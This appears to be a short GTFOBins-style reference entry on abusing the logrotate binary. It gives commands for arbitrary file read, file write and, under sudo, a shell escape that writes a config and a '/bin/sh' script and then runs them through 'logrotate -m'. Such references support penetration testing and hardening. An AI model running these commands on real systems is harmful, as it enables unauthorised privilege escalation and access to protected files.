logrotate

File Read

Context: sudo, suid, unprivileged

logrotate /path/to/input-file

File Write

Context: sudo, suid, unprivileged

logrotate -l /path/to/output-file DATA

Shell

Context: sudo

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file